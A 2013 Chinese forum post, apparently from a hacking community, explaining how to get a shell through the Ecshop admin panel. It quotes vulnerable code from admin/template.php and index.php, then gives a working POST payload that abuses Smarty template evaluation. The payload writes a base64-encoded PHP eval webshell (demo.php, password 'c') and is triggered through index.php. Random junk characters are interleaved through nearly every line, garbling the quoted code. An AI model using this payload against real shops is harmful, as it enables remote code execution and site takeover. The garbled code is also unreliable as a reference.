找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2410|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板$ ]9 T8 r' {& d9 J5 O% M; G1 d
& C; R+ S1 L- |0 u! ]5 e$ Q
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
$ T  A8 @( f: V8 z8 q但是ecshop似乎不支持{php}{/php}这个标签来执行php代码  }6 W/ E1 t1 P5 a4 n0 k0 s6 k
admin/template.php
! ?! ?8 O$ Y/ D- [; A% v5 D5 V  ^2 m2 v7 j5 V1 k9 Z
1 if ($_REQUEST['act'] == 'update_library') 7 ~- [; |( b1 l' ~' `
# w1 L8 Z' ]3 }7 n. R: h
2   0 Z6 T0 d  E5 r8 w& K
7 o* o' |6 r3 S6 g. l9 t
3 {
+ I1 d' W0 l/ g1 ~5 @/ O$ O  ?# O2 j+ `  E: i) s
4     check_authz_json('library_manage');
8 Z) x" H5 d, P7 S+ h, j* s- L& g: m7 [6 N& E# Y
5   
5 }  j$ ~; ^- `, ?
) |; h: \! m7 ^3 r3 h: v6     $html = stripslashes(json_str_iconv($_POST['html']));
6 i$ y: x- H& w( A1 M. G
1 Y4 c( {% t. r9 v! W7   
+ R, H" F0 h" I) e2 j7 X) P; l* F: }- q9 w- P# H$ E% F
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
, \/ r( L4 R7 z2 `* i0 Z7 u/ d/ m2 x3 x, k6 V" Z( M' y' }
9   
! S$ P$ E8 b0 p  x8 l, t$ }' i' J; q+ F* I, t) ^& s
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
2 D; b  N# c. K8 q9 q1 b) S
& [: D: B  m2 h  c1 T11   0 T  E% d8 v: S9 X# r2 \! C

  q( D# A6 _2 B/ |12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
/ I5 G# Q6 D4 J, u
) H1 w+ T; R3 G8 E1 O7 W( y8 B3 N13   
" }- ]4 _( W. a5 @! N( k! d( V9 Z7 X; J
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 % R1 E) g% X6 O9 H: t
$ C( ^" M- ~9 b
15     { 6 p" d  z4 W4 y6 Z+ ?

1 h! y) l2 F; n8 y+ ^* B, q8 M& V16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
& b% y3 j  l# W+ H/ Y) `4 K1 H1 s6 G  W1 f9 S9 l6 Q9 C7 \
17         make_json_result('', $_LANG['update_lib_success']);
/ _: Z* @7 F4 F
1 b9 J1 B- u/ z  Z18     }
) `8 p1 r. t3 u6 s6 D3 U% S% E' E# z- j; Y
19     else 1 c. Z8 n6 w3 t! F+ |* g4 x* Y

7 b) S1 F6 F. z, L% |) t+ a20     {
& U- E" p8 |* [0 p. b& u9 _6 Z8 b# E, P% X; `: x
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
& Y4 ~, O/ e- x0 {* E9 k7 {0 P
# ~/ ~; U; ?( }8 U# M9 R: }22     } 0 k; u9 e) h- n/ c

) o) V) B+ R. B4 ]) K. W  @23 } # l) Y$ h. e7 u: a- r% b
. Z4 W* v  X1 m5 G( n* ?, _" f
那么找个比较方便调用了模板的文件
6 }( ~, z: J8 Vindex.php
) W  n) `1 c+ L+ Q' ~' c2 N
0 ^" x9 }. b( W& D8 Z1 if ($act == 'cat_rec') ) p) o% f2 G; n/ F. b  b" T

7 k0 @7 [8 @1 w" f7 @2     n" w4 a  A8 a

" X8 l* e; k, O8 C& J3 g" {* d3 { 2 ]' b, ^2 o6 d6 L$ a, o) D3 E

' N+ E+ y+ L) {% ]: S. z/ L4   
; c% c1 s/ t6 ?1 c9 X5 Q
, j# q; q, D) e1 ~( D1 I( A5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 3 i/ [: w' H0 L9 C2 T; M. @# e
  e$ ^  x& ]( U+ V0 }
6     H; P6 [6 q; }( @. h1 T+ j
6 |" j; a! f* p& R' v: e4 O
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; # x8 T& H( p6 h2 |! ?' Z5 }

/ l/ ~" u% J$ l8   / Q( H8 G5 _7 Q

3 p/ d( |0 I( _# W. ~: U, j9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; : b# ^% _* F7 h* o' c0 _2 M9 x) k

- C/ O0 s+ A( H  ], M( H) ^* f8 b10   
' B7 ]# n' ^  P; j
8 ^/ Q' ]4 H9 C) M$ q11     include_once('includes/cls_json.php'); 4 O; K; G' G3 R& O3 ?! b7 u

. L4 c8 L+ U% h  s4 W8 Q. v' L, l12   
0 j/ Y- X7 e" z* d% s) J: m
( X/ S, n+ C, A& x13     $json = new JSON;
3 j+ n: `3 t6 Q2 i1 K7 N1 {  k9 D3 D6 U8 }6 P
14   ) q" {5 I4 ?$ P- e

# c6 u; z0 m7 ]5 k! S  e9 s15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
1 T( f& }* R' }# C1 E& ~( f6 {8 F  W  x8 ^( `+ w: O5 W
16   # ~9 \8 U9 z; z

7 s) x# `9 f1 N/ H' |5 G17     $children = get_children($cat_id);
/ b1 `$ x- Q4 M: k5 l0 H, Q% d
& U" Y1 T* a: g' g5 A* g" Z18   + N8 z( R: q8 a" @" T( ~, X
+ o& m7 Y* V+ I* ^; U' ^% g9 d
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
, h. x: m$ }4 b) B* `4 N
3 @1 x) Z2 \9 |: r! z& r' w20   
5 D5 `! i: ?* h. u6 p9 Z& S- d- Z& s) V6 K
21     $smarty->assign('cat_rec_sign', 1); 7 u4 x6 ~! z6 ^! o+ p5 G% F

1 Y/ {5 n% q3 o) G# c! f22   
) r9 ]5 T, ~( y9 W( R3 O8 g  F) D. o9 K$ |- `: q# p
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best * l7 ^2 A4 @- v: I; R

, r6 }9 `2 K2 |' `- ^" s  P2 R24   , v/ f# i* [) A( }% \" p0 C0 @
. ~+ |' n' R. z; f; V
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; * p. l( n+ P* l+ k) [! ]
8 W( w9 ~8 v8 s
26   
; A3 V* q" G* N, I& h3 s: H+ I
0 N  a5 F( g& C7 [, w27         echo $rec_array[$rec_type]; * T4 C7 G% B0 _

4 z! G8 ?+ u1 _* ~28   
+ C# T8 ^' g& x/ g% E* x& I3 P: t/ {4 T1 J
29     die($json->encode($result)); ( w8 i2 R( e) S

0 e. Q7 D, B1 z6 }/ d% N) d- @30   
! n5 ]. q- f! ]+ W! d- d- }, b7 Y
31 } * Y6 a4 t0 S2 {& W$ V, ^

! \9 L$ ~8 q0 \; q; ~( Z& u4 F1 l& Y那么就有利用方法了
. g0 H: ~4 a$ o+ g- b) Q8 j" Wpost包到http://localhost/ec/admin/template.php?act=update_library8 M* t! Y. {6 k: k' d7 M% u7 Q
Post内容:# c; S% v6 f1 h5 ?5 G6 a
, x* A1 F' Q3 Z& g
' o4 X0 V5 P6 w
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 2 R  Z9 D6 U8 w$ V0 W

' f" U$ Z: W/ X5 n8 a4 N3 Q  D: \4 o3 q( M然后访问http://localhost/ec/index.php?act=cat_rec
( n- C  W2 H1 C) |
7 P  S' H- |7 w% r2 R4 ushel地址:http://localhost/ec/demo.php* S0 b2 n, p7 X+ ]# Z
密码c
, C2 A% s* b, t' e$ a, R8 v7 |0 B$ J1 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表